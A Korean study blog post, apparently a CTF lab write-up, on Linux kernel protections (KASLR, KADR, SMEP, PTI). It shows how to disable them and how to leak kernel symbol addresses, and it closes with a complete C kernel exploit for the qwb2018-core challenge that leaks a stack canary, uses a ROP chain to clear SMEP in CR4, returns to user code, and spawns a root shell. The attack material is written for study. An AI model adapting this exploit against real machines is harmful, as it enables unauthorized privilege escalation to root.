Search

Linux kernel protection

Date
2022/01/07 12:50
Person
Category
운영체제 & 커널
Tag
kernel
linux

1. KASLR

커널의 기본 주소 값을 무작위로 만들어 커널 공격을 구현하기 어렵게 만드는 기능으로 ALSR과 동일한 역할을 한다. 현재 vm에 ubuntu18.04 버전을 사용중이다. 여기선 디폴트로 kaslr이 걸려있다.
현재상태
재부팅 후
prepare_kernel_cred 함수 주소가 달라진걸 확인할수 있다. KASLR은 /etc/default/grub 파일에서 비활성화 시킬수 있다.
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_TIMEOUT_STYLE=hidden GRUB_TIMEOUT=0 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr" // nokaslr 추가 !! GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"
Bash
복사
해당 설정을 적용시키려면 'sudo update-grub' 을 조지면 된다.
╭─wogh8732@ubuntu ~ ╰─$ sudo update-grub Sourcing file `/etc/default/grub' Generating grub configuration file ... Found linux image: /boot/vmlinuz-5.4.0-56-generic Found initrd image: /boot/initrd.img-5.4.0-56-generic Found linux image: /boot/vmlinuz-5.4.0-53-generic Found initrd image: /boot/initrd.img-5.4.0-53-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done
Bash
복사
현재
재부팅 후
kaslr이 비활성화 된걸 볼수 있다. 다시 활성화시키려면 grub파일에서 nokaslr이 아닌
kaslr 로 변경하면 된다. 그럼 이제 커널 주소를 얻는 방법을 살펴보자.

vmlinux 이용

KASLR 이 걸려있지 않다면, 그냥 vmlinux 바이너리에 들어있는 함수주소를 찾고 그걸 사용하면 되지만, 요샌 전부다 걸려있다.
커널 디버깅 심볼 설치 방법 :
따라서 포너블 풀때처럼 특정 함수의 offset을 구하고, base 주소로 접근하는 방식을 이용하면 된다.
╭─wogh8732@ubuntu /usr/lib/debug/boot ╰─$ readelf -s vmlinux-5.4.0-56-generic| grep prepare_kernel_cred 108978: ffffffff810ccc80 305 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred
Bash
복사
readelf -s 옵션으로 prepare_kernel_cred 주소를 구한다. kaslr 이 걸려있다면 저 주소를 익스에 갔다써도 의미가 없다.
╭─wogh8732@ubuntu /usr/lib/debug/boot ╰─$ readelf -S vmlinux-5.4.0-56-generic There are 75 section headers, starting at offset 0x29c0e6e8: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .text PROGBITS ffffffff81000000 00200000 0000000000e00ed1 0000000000000000 AX 0 0 4096 [ 2] .rela.text RELA 0000000000000000 132f8d30 0000000000813210 0000000000000018 I 72 1 8 [ 3] .notes NOTE ffffffff81e00ed4 01000ed4 00000000000001ec 0000000000000000 A 0 0 4 [ 4] .rela.notes RELA 0000000000000000 13b0bf40 0000000000000048 0000000000000018 I 72 3 8 [ 5] __ex_table PROGBITS ffffffff81e010c0 010010c0 00000000000082e0 0000000000000000 A 0 0 4 [ 6] .rela__ex_table RELA 0000000000000000 13b0bf88 0000000000031140 0000000000000018 I 72 5 8 [ 7] .rodata PROGBITS ffffffff82000000 01200000
Bash
복사
.text 영역의 시작주소를 구하고 두개를 빼면 prepase_kernel_cred 함수의 offset을 구할수 있다.

/proc/kallsyms 이용

KADR 이 걸려있지 않다면 루트 사용자가 아닌 일반 사용자도 /proc/kallsyms 을 통해 커널함수 주소를 얻을수 있다.
kallsym 파일에는 다양한 커널 기능 장치 간의 협력을 보다 쉽게하기 위해 수천 개의 전역 심볼이 기록되어 관리된다
╭─wogh8732@ubuntu ~ ╰─$ sudo sysctl kernel.kptr_restrict 130 ↵ kernel.kptr_restrict = 0 // 0이면 비활성화 ╭─wogh8732@ubuntu ~ ╰─$ cat /proc/kallsyms | grep prepare_kernel_cred 130 ↵ ffffffff810ccc80 T prepare_kernel_cred ffffffff8247b000 r __ksymtab_prepare_kernel_cred ffffffff82493568 r __kstrtab_prepare_kernel_cred
Bash
복사

2. KADR

kadr은 커널 영역의 민감정보를 일반 유저에게 안보여주는 보호기법이다.
/boot/vmlinuz*, /boot/System.map*, /sys/kernel/debug/, /proc/slabinfo, /proc/kallsyms
위와 같은 중요한 폴더 및 파일들은 루트 사용자만 확인할수 있다. 일반사용자가 해당 파일을 보면
╭─wogh8732@ubuntu ~ ╰─$ cat /proc/kallsyms | grep prepare_kernel_cred 0000000000000000 T prepare_kernel_cred 0000000000000000 r __ksymtab_prepare_kernel_cred 0000000000000000 r __kstrtab_prepare_kernel_cred
Bash
복사
이렇게 주소가 0으로 나오는걸 볼 수있다. 만약 KADR을 해제하려면 두가지 옵션을 꺼야한다
1. sudo sysctl -w kernel.kptr_restrict=0 2. sudo sysctl -w kernel.perf_event_paranoid=0
Bash
복사
두가지를 명령을 친후 일반 사용자로 다시 확인해보면
╭─wogh8732@ubuntu ~ ╰─$ sudo sysctl -w kernel.kptr_restrict=0 kernel.kptr_restrict = 0 ╭─wogh8732@ubuntu ~ ╰─$ sudo sysctl -w kernel.perf_event_paranoid=0 kernel.perf_event_paranoid = 0 ╭─wogh8732@ubuntu ~ ╰─$ cat /proc/kallsyms | grep prepare_kernel_cred ffffffff810ccc80 T prepare_kernel_cred ffffffff8247b000 r __ksymtab_prepare_kernel_cred ffffffff82493568 r __kstrtab_prepare_kernel_cred
Bash
복사
일반 사용자도 커널 주소를 확인 할 수 있다.

3. SMEP

커널은 절대 사용자 공간 메모리를 실행과 접근해서는 안된다. 이러한 규칙은 하드웨어기반으로 막거나, 에뮬레이션을 통해 제한시킬수 있다
x86 : SMEP/SMAP
ARM : PXN/PAN
처음으로 푼 커널 익스 문제는 KASLR을 제외하곤 SMEP은 걸려있지 않았다. 따라서 ret2usr 기법으로 LPE를 진행했다. 이는 커널 모듈이 가지고 있는 bof 취약점을 이용하여 커널영역에서 ret를 조작하고 백업한 user 영역의 스택 포인터를 복원하여 커널 → user 코드 실행이 일어난다.
하지만 이는 smep이 적용된다면, 실행이 안된다. 위 ctf 문제에서 푼 익스코드를 원래대로 실행시키면
╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/qwb2018-core/give_to_player ╰─$ ./start.sh qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] [ 0.022725] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ ./ex [+] Success to open /proc/core [*] Canary @ 00DC34CA54B1851B [+] commit_creds : 0xffffffff8209c8e0 [+] prepare_kernel_cred : 0xffffffff8209cce0 [+] Finish made trap frame. [+] Get shell. / # id uid=0(root) gid=0(root)
Bash
복사
잘동작이 되지만, start.sh 스크립트에서 smep을 추가하고 돌리면 에러가 뜬다. 노란색 부분이 추가한 부분이다.
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./test/rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s -cpu kvm64,+smep \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
Bash
복사
[ 8.336881] core: called core_writen [ 8.337244] unable to execute userspace code (SMEP?) (uid: 1000) [ 8.338186] BUG: unable to handle kernel paging request at 0000000000400d6b [ 8.338706] IP: 0x400d6b [ 8.339001] PGD 800000000f090067 P4D 800000000f090067 PUD f091067 PMD f089067 PTE ba46025 [ 8.339639] Oops: 0011 [#1] SMP PTI [ 8.339900] Modules linked in: core(O) [ 8.340448] CPU: 0 PID: 996 Comm: ex Tainted: G O 4.15.8 #19 [ 8.340820] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 8.341866] RIP: 0010:0x400d6b [ 8.342131] RSP: 0018:ffffa38d0011fe70 EFLAGS: 00000296 [ 8.342660] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000 [ 8.343872] RDX: 0000000000000000 RSI: ffffffffc0198500 RDI: ffffa38d0011ff18 [ 8.344496] RBP: ffffffffffff0100 R08: 6163203a65726f63 R09: 0000000000000de8 [ 8.344943] R10: 0000000000000004 R11: 6e65746972775f65 R12: ffff8c9fcac0f7a0 [ 8.345488] R13: 000000006677889a R14: ffffffffffff0100 R15: 0000000000000000 [ 8.346040] FS: 0000000001db6880(0000) GS:ffff8c9fcbe00000(0000) knlGS:0000000000000000 [ 8.346617] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 8.347010] CR2: 0000000000400d6b CR3: 000000000f08e000 CR4: 00000000001006f0
Bash
복사
dmesg를 확인해보면, IP는 user 영역으로 정상적으로 이동했지만 'unable to execute userspace code' 가 출력되었다. 또한 추가적으로 CR4 레지스터 값을 기억하자. 뒤에서 설명할꺼임
실제 우분투 환경에서는 /etc/default/grub 파일에서 disable 시킬수 있다.
GRUB_DEFAULT=0 GRUB_TIMEOUT_STYLE=hidden GRUB_TIMEOUT=0 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr nosmep" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" ---------------------------------------------------------- sudo update-grub 으로 적용
Bash
복사

CR4 Register

컨트롤 레지스터는 프로세서의 운영 모드, 현재 실행중인 태스크의 특성을 결정하는 데 이용된다.
x86 : CR0, CR1, CR2, CR3, CR4
x86-64 : CR0, CR1, CR2, CR3, CR4, CR8
이 중에서도 CR4 레지스터는 프로세스에서 지원하는 각종 확장 기능들을 제어하며 SMEP, SMAP 기능들도 제어한다. CR4 레지스터에서 SMEP는 20번째 bit, SMAP은 21번째 bit이다. 1이 활성화, 0이 비활성화이다
자 그럼 아까 dmesg에서 CR4 값은 0x0000000001006f0 이였다. 이를 2진수로 나태나면
1 0 0 0 0 0 0 0 0 0 1 1 0 1 1 1 1 0 0 0 0
Bash
복사
이렇게 되고 맨 좌측 비트가 21번째 비트 즉 SMEP이 enable된것을 확인할 수 있다.

SMEP bypass

SMEP은 ROP 혹은 위에서 설명한 CR4 레지스터의 21번 비트를 변경하여 SMEP을 비활성화 시켜서 우회할수 있다.
qwb 익스코드에
╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/qwb2018-core/give_to_player ╰─$ rp-lin-x64 -f vmlinux -r 1|grep "pop rdi ; ret" | head -1 pop rdi ; ret ; (1 found) ╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/qwb2018-core/give_to_player ╰─$ ROPgadget --binary vmlinux| grep "0xffffffff81075014" 0xffffffff81075014 : mov cr4, rdi ; push rdx ; popfq ; ret
Bash
복사
cr4 레지스터를 수정하는 로직만 체이닝 해주면 된다. 현재 21번 비트를 0으로 만들면
000000000011011110000(2)→ 0x6F0 이다. rdi에 0x6f0을 넣고 조지면 된다.
참고로 kalr, pti는 끄고 smep만 활성화시켰다
qemu-system-x86_64 \ -m 1024M \ -kernel ./bzImage \ -initrd ./test/rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nopti nokaslr" \ -s -cpu kvm64,+smep \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
Bash
복사
그리고 smep만 활성화 시키고 아래 익스코드를 돌렸는데, 자꾸 안돼서 삽질하다가 pti 보호기법도 비활성화 시켜야 한다는걸 알았다. pti란 paging table isolation으로
커널 모드에서는 상관없지만, 유저모드에서는 커널 영역의 극히 일부만을 접근가능하게 막아놓은걸 말한다. 커널영역에서 일을 처리하고 다시 유저모드로 넘어올때 CR3 레지스터를 확인하여 특정 로직을 수행한다.(체크용인 듯)
즉 cr3 레지스터를 이용하여 유저모드에서의 접근 가능한 메모리 영역과, 커널 모드에서 접근가능한 메모리 영역을 다르게한다.
cr3 레지스터는 페이징 테이블을 관리하는 레지스터 역할이다
qemu 부팅 옵션중에 cpu kvm64 를 줬기 때문에 자동적으로 pti 보호기법이 적용된다. (kvm은 PTI가 적용된다고 함) 따라서 nopti를 추가로 준것이다
#include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #define read_num 1719109787 #define off_num 1719109788 #define write_num 1719109786 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; unsigned long kallsym_getaddr(const char* str) { FILE* fd; char fbuf[256]; char addr[32]; fd=fopen("/proc/kallsyms","r"); memset(fbuf,0,sizeof(fbuf)); while(fgets(fbuf,256,fd) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) { continue;} memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') {*a++ = *p++;} p += 3; if(!strcmp(p,str)) { fclose(fd); return strtoul(addr, NULL, 16); } } } void shell() { printf("[+] Get shell.\n"); execl("/bin/sh","sh",NULL); } void set_trapframe() { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &shell; printf("[+] Finish made trap frame.\n"); } void payload() { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } int main() { int fd = open("/proc/core",O_RDWR); size_t rop[0x100]; static char str_buf[512]={0,}; size_t canary; if(!fd) { printf("[-] Failed to open /proc/core\n"); return -1; } printf("[+] Success to open /proc/core\n"); char val[8]={0}; ioctl(fd,off_num,0x40); ioctl(fd,read_num,str_buf); memcpy(val,str_buf,8); canary = ((size_t *)val)[0]; commit_creds=kallsym_getaddr("commit_creds"); prepare_kernel_cred=kallsym_getaddr("prepare_kernel_cred"); printf("[+] commit_creds : 0x%lx\n",commit_creds); printf("[+] prepare_kernel_cred : 0x%lx\n",prepare_kernel_cred); //0x40 + canary + 0x10 + rip printf("[+]canary: %p\n", (void *)canary); int k=8; memset(&rop[0],0x41,0x40); rop[k++]=canary; rop[k++]=0; rop[k++]=0xffffffff81000b2f; //pop rdi;ret; rop[k++]=0x6f0; // cr4 21 bit disable rop[k++]=0xffffffff81075014; // mov cr4,rid ... rop[k++]=(size_t)payload; //rop[k++]=0x4242424242424242; printf("k is %d\n",k); printf("%d\n",sizeof(rop)); set_trapframe(); write(fd,rop,8*(k+1)); ioctl(fd,write_num,0xffffffffffff0000|0x100); }
C
복사
저렇게 해서 돌려보면
╰─$ ./start.sh udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ ./smep2 [+] Success to open /proc/core [+] commit_creds : 0xffffffff8109c8e0 [+] prepare_kernel_cred : 0xffffffff8109cce0 [+]canary: 0x3c6b97470b7f9400 k is 14 2048 [+] Finish made trap frame. [+] Get shell. / # id uid=0(root) gid=0(root) ----------------------------------------------------------- / # cat /proc/cpuinfo .... flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisor smep bugs : cpu_meltdown spectre_v1 spectre_v2
C
복사
smep 걸려있어도 LPE 성공!

참고자료